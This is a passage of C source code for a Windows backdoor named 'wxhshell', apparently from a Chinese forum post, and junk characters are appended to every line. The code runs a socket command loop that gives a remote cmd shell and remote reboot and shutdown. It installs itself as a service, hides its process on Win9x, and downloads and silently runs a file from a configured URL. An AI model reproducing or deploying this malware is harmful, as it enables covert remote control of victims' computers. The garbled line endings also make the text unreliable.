  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNF++<s  
  } U!3uaz'  
  else { U]1>?,Nk'3  
.CB"@.7  
    switch(cmd[0]) { ixoMccU0  
  d{(s-  
  // 帮助 $u(M 4(}  
  case '?': { / i\uwa,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 50O7=  
    break; lUy*549,  
  } 7cJO)cm0'  
  // 安装 `*.r'k2R  
  case 'i': { )4VL m  
    if(Install()) 5+#?7J1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Te)s3X  
    else 0DW'(#`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'npT+p$ V  
    break; S0X.8Bq  
    } QqT6P`0u  
  // 卸载 o%9Ua9|RR  
  case 'r': { '2i)#~YO<  
    if(Uninstall()) c+YYM :S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pEqr0Qwh  
    else C>\h?<s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I=3B 5u  
    break; fS'k;r*r  
    } (PE8H~d  
  // 显示 wxhshell 所在路径 9|?(GG  
  case 'p': { &,6y(-  
    char svExeFile[MAX_PATH]; \I`=JKYT  
    strcpy(svExeFile,"\n\r"); @pEO@bbg>  
      strcat(svExeFile,ExeFile); 6O[wVaC1u  
        send(wsh,svExeFile,strlen(svExeFile),0); GwU>o:g"  
    break; r5fz6"  
    } n+A'XBHk  
  // 重启 >(1_Dn\  
  case 'b': { F"HI>t)>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #xJGuYdv  
    if(Boot(REBOOT)) '"G %0y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WPh |~]by<  
    else { GhfUCW%  
    closesocket(wsh); xs83S.fHg  
    ExitThread(0); Z ^9{Qq  
    } `!>dbR&1  
    break; 4q 2=:"z4  
    } wshp{ y  
  // 关机 Bafz&#;Q'  
  case 'd': { s poWdRM2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M b /X@51  
    if(Boot(SHUTDOWN)) Kr}M>hF+|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xxsnpb>  
    else { $y]||tX  
    closesocket(wsh); /B#lju!  
    ExitThread(0); e 7)%=F/)  
    } <:yq~?  
    break; .8uwg@yD  
    } _XO)`D~  
  // 获取shell l!2Z`D_MD  
  case 's': { E+m"yQp{  
    CmdShell(wsh); SYW= L  
    closesocket(wsh); 1b]PCNz  
    ExitThread(0); yU8Y{o;:  
    break; Hpo?|;3D5  
  } :,z3 :PL  
  // 退出 =rO>b{,hs  
  case 'x': { $CYpO}u#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 22|M{  
    CloseIt(wsh); ^@5ui;JV  
    break; )D-.7m.v]  
    } -$MC  
  // 离开 xS\QKnG.  
  case 'q': { mP .&fS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9xS`@ "`  
    closesocket(wsh); zhm!sMlO  
    WSACleanup(); !DUg"o3G>  
    exit(1); %LZM5Z^  
    break; V-U  ^O45  
        } w wRT$-!  
  } Rc.<0#  
  } ]! J3?G  
'GdlqbX(%  
  // 提示信息 [ *a>{sO[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l|tp0[  
} wj5s5dH  
  }  Dmv  
"91At b;hJ  
  return; =28H^rK{  
} }(%}"%$  
h _7;UQH  
// shell模块句柄 y!c7y]9__2  
int CmdShell(SOCKET sock) a1sLRqo8  
{ j%y+W{Q[  
STARTUPINFO si; d*:qFq_  
ZeroMemory(&si,sizeof(si)); S^`9[$KH0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xr3PO?:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #2'&=?J1r  
PROCESS_INFORMATION ProcessInfo; G]DN!7]@g  
char cmdline[]="cmd"; `lh?Z3W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Kb[UZ1  
  return 0; LuQ M$/i  
} n ~i4yn=  
VP[!ji9P   
// 自身启动模式 Gz5@1CF  
int StartFromService(void) ? /X6x1PN  
{ C^: &3,  
typedef struct dQ~"b=  
{ 19{?w6G<k  
  DWORD ExitStatus; Wv/5#_  
  DWORD PebBaseAddress; CIvT5^}  
  DWORD AffinityMask; (gC^5&11  
  DWORD BasePriority; aNU%OeQA  
  ULONG UniqueProcessId; A8/4:>Is  
  ULONG InheritedFromUniqueProcessId; R* G>)YH  
}   PROCESS_BASIC_INFORMATION; g)6 k?Y  
I2!HXMrp  
PROCNTQSIP NtQueryInformationProcess; q8v!{Os+#  
?G<I N)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &L`p4AZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yVv3S[J  
"$;:dfrU  
  HANDLE             hProcess; %--5bwZi  
  PROCESS_BASIC_INFORMATION pbi; rX}==`#\  
\)kAhKtG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .u3W]5M|  
  if(NULL == hInst ) return 0; ZP/=R<<  
RA67w&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  :!FwF65  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <"%h1{V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z{WqICnb  
iPYlTV  
  if (!NtQueryInformationProcess) return 0; o[6"XJ  
5R G5uH/-<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gq &85([  
  if(!hProcess) return 0; /! G0 g%k  
8?pZZtad  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hKeh9 Bt  
o-Arfc3Q  
  CloseHandle(hProcess); M_I\:Q  
SVz.d/3Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9DKB+K.1  
if(hProcess==NULL) return 0; 8}@a?QS(&  
G<1mj!{Vp  
HMODULE hMod; Rx2|VD  
char procName[255]; " N4]e/.V  
unsigned long cbNeeded; <N&f >7  
4`]1W,t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LK~ 0ck7  
w Vmy`OV/  
  CloseHandle(hProcess); 0q!{&p t  
HEN9D/O=  
if(strstr(procName,"services")) return 1; // 以服务启动 ![jP)WgF  
nJC}wh2d#  
  return 0; // 注册表启动 /Vc!N)  
} /% 1lJD  
KguFU  
// 主模块 0[Aa2H*  
int StartWxhshell(LPSTR lpCmdLine) vj0?b/5m  
{ inrL'z   
  SOCKET wsl; i[J',  
BOOL val=TRUE; 5~QB.m,>  
  int port=0; Lq^/Z4L  
  struct sockaddr_in door; :wm^04<i   
p {3|W<  
  if(wscfg.ws_autoins) Install(); dGjvSK<1@  
AQZ\Kcr  
port=atoi(lpCmdLine); ;'}xD5]  
ZS]e}]Zwp  
if(port<=0) port=wscfg.ws_port; \ 3N#%  
e#^by(1@}  
  WSADATA data; qZG >FC37  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?9A[;j|a0  
kE h# 0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   In2D32"F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mHy]$Z  
  door.sin_family = AF_INET; \Qn8"I83AV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &D#v0!e~x  
  door.sin_port = htons(port); % e(,PL  
6G],t)<A'-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G <q@K-  
closesocket(wsl); Ql 1# l:Q  
return 1; @@QU"8q  
} Mtr~d  
>xN^#$ng}  
  if(listen(wsl,2) == INVALID_SOCKET) { W%o){+,  
closesocket(wsl); j06DP _9M  
return 1; (ym)q#^  
} "yumc5kt  
  Wxhshell(wsl); K^ lVng  
  WSACleanup(); N>_7Ltw/  
n_Z8%|h  
return 0; P?F:x=@'|  
IP3-lru  
} U&NOf;h$  
+Muyp]_  
// 以NT服务方式启动 2%I:s6r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #LZ`kSlv4  
{ @N$r'@  
DWORD   status = 0; pP#?|  
  DWORD   specificError = 0xfffffff;  E9i WGSE  
a5iMCmL+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `#V"@Go  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2-~oNJqX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6!$S1z#wM  
  serviceStatus.dwWin32ExitCode     = 0; {D@y-K5  
  serviceStatus.dwServiceSpecificExitCode = 0; 4 R]|  
  serviceStatus.dwCheckPoint       = 0; =cQw R:):  
  serviceStatus.dwWaitHint       = 0; SCo9[EJ  
]k Pco4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gDv]n^&  
  if (hServiceStatusHandle==0) return; v#6.VUAw  
hug12Cu  
status = GetLastError(); gOkO8P6P8  
  if (status!=NO_ERROR) U;31}'b  
{ ~?p > L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P/_XDP./U  
    serviceStatus.dwCheckPoint       = 0; \@xnC$dd/  
    serviceStatus.dwWaitHint       = 0; 9T]]TEv4  
    serviceStatus.dwWin32ExitCode     = status; _I9TG.AA.  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bw$-*FYE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'D4NPG`z  
    return; ,uw &)A  
  } Zj JD@,j  
]8^2(^3ct  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WM#!X!Vo  
  serviceStatus.dwCheckPoint       = 0; 2#R"#Q!  
  serviceStatus.dwWaitHint       = 0; 8c~H![2u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t!k 0n&P  
} B[$e;h*Aw[  
5Ql6?U HD  
// 处理NT服务事件,比如:启动、停止 ck}y-,>,[O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X>CYKRtb  
{ c*h5lM'n6  
switch(fdwControl) mB\5bSFY`  
{ RHxd6Gs"  
case SERVICE_CONTROL_STOP: vH=I#Ajar  
  serviceStatus.dwWin32ExitCode = 0; =:b/z1-v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `XD$1>  
  serviceStatus.dwCheckPoint   = 0; K,RIa0)  
  serviceStatus.dwWaitHint     = 0; <Z5prunov  
  { emHi= [!i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HG^8&uh]  
  } )KNFS,5  
  return; FUH1Z+9  
case SERVICE_CONTROL_PAUSE: 0QPipuP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UeRenp  
  break; eY-$h nUe  
case SERVICE_CONTROL_CONTINUE: Yc %eTh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >?kt3.IQ!X  
  break; <sTa Xaq?  
case SERVICE_CONTROL_INTERROGATE: hOq1 "kL  
  break; mMMu'N  
}; * T-XslI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MDlC U  
} .`iq+i~  
l})uYae/  
// 标准应用程序主函数 ^^[,aBu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M,9WF)p)V  
{ B<o i,S  
F[+sc Mx!G  
// 获取操作系统版本 bXJE 2N  
OsIsNt=GetOsVer(); c{E-4PYbah  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PCES&|*rf  
)&w\9}B:  
  // 从命令行安装 ,Pl[SMt!  
  if(strpbrk(lpCmdLine,"iI")) Install(); {C3bCVQ]o  
%=| I;kI?  
  // 下载执行文件 {c$W-t):U|  
if(wscfg.ws_downexe) { I5e!vCG)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a{HvrWs?Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); J3$ihH.  
} 86I".R$d  
SVR AkP-  
if(!OsIsNt) { !is8`8F8  
// 如果时win9x,隐藏进程并且设置为注册表启动 ljk-xC p/  
HideProc(); Um|:AT}`^  
StartWxhshell(lpCmdLine); m{1By/U  
} X4o8  
else :gR`rc!  
  if(StartFromService()) 6=zme6D  
  // 以服务方式启动 U$-FQRM4K  
  StartServiceCtrlDispatcher(DispatchTable); &r_:n t  
else 0wc+<CUW  
  // 普通方式启动 Q8P;AN_JS  
  StartWxhshell(lpCmdLine); >-:U   
Obw uyhjQ  
return 0; D3jP hPy.  
}
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只看该作者 1 发表于: 2006-10-10
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